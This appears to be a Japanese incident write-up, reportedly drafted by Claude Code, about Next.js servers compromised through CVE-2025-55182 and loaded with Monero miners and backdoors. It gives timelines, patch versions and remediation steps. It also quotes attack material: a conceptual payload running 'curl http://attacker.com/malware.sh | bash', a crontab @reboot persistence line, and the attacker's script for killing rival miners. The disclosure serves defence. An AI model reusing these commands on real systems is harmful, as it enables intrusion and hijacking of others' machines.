やったら動作が遅いなと思ったら、いつの間にか CPU 使用率が100%に。
これはもしや...と思ったら、まさにでした。
PM2にログが残っていたのが救い。
後は、Claude Code におまかせしました。
以下、備忘録:
はじめに
2025年12月、運用していた複数のNext.jsアプリケーションがサイバー攻撃を受け、暗号通貨マイナーを仕込まれました。CVE-2025-55182が公開されてから2日後のことでした。
Note: この記事はインシデント調査レポートを基に、Claude Codeが執筆しました。
TL;DR
- CVE-2025-55182公開から2日後に攻撃を受けた
- Next.js 15.x / 16.x のServer Actions脆弱性でRCE(リモートコード実行)された
- 暗号通貨マイナー(Monero)と複数のバックドアを仕込まれた
- サーバー内部の認証情報が漏洩した可能性がある
タイムライン
12/01 00:10 偵察攻撃開始(.git/config, .envスキャン)
12/01 04:14 .envファイル列挙攻撃(2,210リクエスト/2秒)
12/03 CVE-2025-55182 公開
12/03-05 CVE-2025-55182を利用した攻撃成功(推定)
12/05 15:17 マルウェア#1 ダウンロード
12/05 19:39 マルウェア#2 ダウンロード
12/10 09:37 システム再起動後、バックドアが自動起動
12/10 10:22 Moneroマイナー起動(CPU使用率281%)
12/10 11:27 発見
CVE-2025-55182について
Next.jsのServer Actionsに存在するデシリアライゼーション脆弱性です。
影響バージョン
| バージョン | 修正版 |
|---|---|
| 15.3.0 - 15.3.5 | 15.3.6 |
| 15.4.0 - 15.4.7 | 15.4.8 |
| 15.5.0 - 15.5.6 | 15.5.7 |
| 16.0.0 - 16.0.6 | 16.0.7 |
脆弱性の原理
Server Actionsで受け取るフォームデータのパース処理で、React要素の検証が不十分でした。
// 攻撃ペイロードの概念
const maliciousPayload = {
"$$typeof": "Symbol(react.element)",
"type": {
"$$typeof": "Symbol(react.module.reference)",
"name": "child_process",
"method": "exec"
},
"props": {
"cmd": "curl http://attacker.com/malware.sh | bash"
}
};
これにより任意のシェルコマンドが実行可能になります。
攻撃の流れ
Phase 1: 偵察(12/1)
CVE公開の2日前から偵察が始まっていました。
GET /.git/config → Gitリポジトリ情報収集
GET /.env → 環境変数ファイル探索
GET /actuator/env → Spring Boot設定探索
.envファイルの列挙攻撃では、2秒間で2,210種類のパスをスキャンされました。
/.env
/.env.local
/.env.production
/public/.env
/app/.env
/api/.env
...
Next.jsは.envを静的ファイルとして公開しないため、この偵察自体は失敗しています。
Phase 2: 侵入(12/3-5)
CVE-2025-55182を利用してRCEを達成。PM2のエラーログに以下の痕跡がありました。
⨯ Error: Unexpected end of form
at ignore-listed frames { digest: '2025998549' }
このエラーはCVE-2025-55182攻撃時に発生するものです。
Phase 3: マルウェア展開
以下のマルウェアがダウンロード・実行されました。
| ファイル | サイズ | 用途 |
|---|---|---|
/tmp/nginx3 |
10.4MB | バックドア(nginx偽装) |
/tmp/https |
34.2MB | マイナー or ボット |
~/.config/.system-monitor/.sys-mon |
14MB | 永続化バックドア |
/tmp/fghgf |
2.8MB | Moneroマイナー |
watchdog |
8.6MB | XMRigマイナー |
Phase 4: 永続化
crontabの@rebootで自動起動が設定されていました。
@reboot nohup /home/user/.config/.system-monitor/.sys-mon > /dev/null 2>&1 &
バックドアは複数箇所にコピーされていました。
~/.cache/dconf/.networkd-dispat
~/.local/share/systemd/.dbus-daemon
~/.local/share/gvfs-metadata/.accounts-daemon
いずれも正規のシステムプロセス名に偽装しています。
Phase 5: 競合排除
他の攻撃者のマルウェアを排除するスクリプトも配置されていました。
#!/bin/bash
while true; do
for proc_dir in /proc/[0-9]*; do
pid=${proc_dir##*/}
if strings "/proc/$pid/exe" 2>/dev/null | grep -Eq 'xmrig|rondo|UPX 5|futureoftaste'; then
kill -9 "$pid"
fi
done
sleep 45
done
45秒ごとに他のマイナーを検出・終了し、CPUリソースを独占する仕組みです。
発見の経緯
システム再起動後、ファンの音がうるさかったのでhtopを確認しました。
PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command
17893 keppy 20 0 2.80G 268M 0 S 281.3 3.3 1h20:00 /tmp/fghgf
CPU使用率281%のプロセス /tmp/fghgf がMoneroマイナーでした。
被害状況
マルウェア
- 合計12ファイル、約104.6MB
- すべて削除済み
認証情報
RCEでサーバー内部に侵入されたため、サーバー上の認証情報(Supabaseキー等)が読み取られた可能性があります。認証情報はすべてローテーションしました。
対策として有効だったと思われるもの
1. 脆弱性情報の即日対応
CVE公開から2日放置したことで攻撃を受けました。
npm install next@15.3.6 # CVE公開当日に実行すべきだった
2. WAFの導入
CVE-2025-55182の攻撃パターンをブロックするWAFルールがあれば防げた可能性があります。
3. Rate Limiting
2秒で2,210リクエストという異常なアクセスを検出・ブロックできます。
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
4. ログ監視の自動化
PM2のエラーログに攻撃の痕跡が残っていました。自動監視していれば早期発見できた可能性があります。
# Prometheusアラート例
- alert: CVEExploitAttempt
expr: rate(nextjs_errors{message=~".*Unexpected end of form.*"}[1m]) > 0
labels:
severity: critical
攻撃者の収益(参考)
Moneroマイナーの推定収益:
- ハッシュレート: 約2,810 H/s
- 日次収益: $0.00073
- 月次収益: $0.022
1台では収益になりませんが、大量のサーバーに感染させることで収益化するビジネスモデルです。
対応時のチェックリスト
同様の被害に遭った場合の参考:
まず実施
-
不審なプロセスを
kill -9 -
/tmp配下の不審なファイルを削除 -
crontab -lで永続化を確認・削除 -
~/.config,~/.cache,~/.local配下の不審ファイルを削除 - PM2等のプロセス全停止
その後
- すべての認証情報をローテーション
- フレームワークを最新版にアップデート
- SSH鍵の確認(不審な公開鍵がないか)
- データベースの不正アクセスログ確認
- WAF導入
- Rate Limiting設定
- Fail2Ban導入
- ログ監視自動化
まとめ
CVE公開から攻撃を受けるまで2日でした。脆弱性情報を確認したら早めに対応することをお勧めします。
参考リンク
免責事項: この記事は実際のインシデントを基にしていますが、一部情報は変更しています。
執筆: Claude Code